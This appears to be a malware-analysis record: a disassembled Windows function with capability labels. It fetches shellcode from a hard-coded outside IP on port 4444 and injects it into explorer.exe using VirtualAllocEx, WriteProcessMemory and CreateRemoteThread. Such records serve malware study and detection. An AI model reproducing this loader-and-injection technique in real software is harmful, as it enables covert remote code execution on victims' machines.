Function at 0x1400020b0
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Enumerate processes
Initialize winsock library
Inject thread
Receive data
Receive data on socket
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x450
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov ecx, 0x202
lea rdx, [rsp + 0x2a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400022cb
lea rcx, str.147.45.255.215
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x115c
mov dword [rsp + 0x54], eax
call qword [sym.imp.WS2_32.dll_htons]
mov ebp, 2
xor r8d, r8d
mov ecx, ebp
mov word [rsp + 0x52], ax
mov edx, 1
mov word [rsp + 0x50], bp
call qword [sym.imp.WS2_32.dll_socket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.WS2_32.dll_connect]
xor esi, esi
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x40], esi
mov r8d, 4
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [rsp + 0x40]
call fcn.140001030
mov ebx, esi
mov qword [0x140005710], rax
cmp dword [rsp + 0x40], ebx
jbe 0x1400021b5
nop dword [rax + rax]
xor r9d, r9d
mov byte [rsp + 0x44], sil
mov r8d, 1
lea rdx, [rsp + 0x44]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov rax, qword [0x140005710]
movzx ecx, byte [rsp + 0x44]
mov edx, ebx
inc ebx
mov byte [rdx + rax], cl
cmp ebx, dword [rsp + 0x40]
jb 0x140002180
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
xor edx, edx
mov dword [rsp + 0x60], 0x238
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000221b
nop word [rax + rax]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x8c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x14000221b
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400021f0
cmp rbx, 0xffffffffffffffff
je 0x14000222a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400022cb
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x14000227b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
jmp 0x1400022d0
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov r8, qword [0x140005710]
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400022d0
mov eax, 1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140001010
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret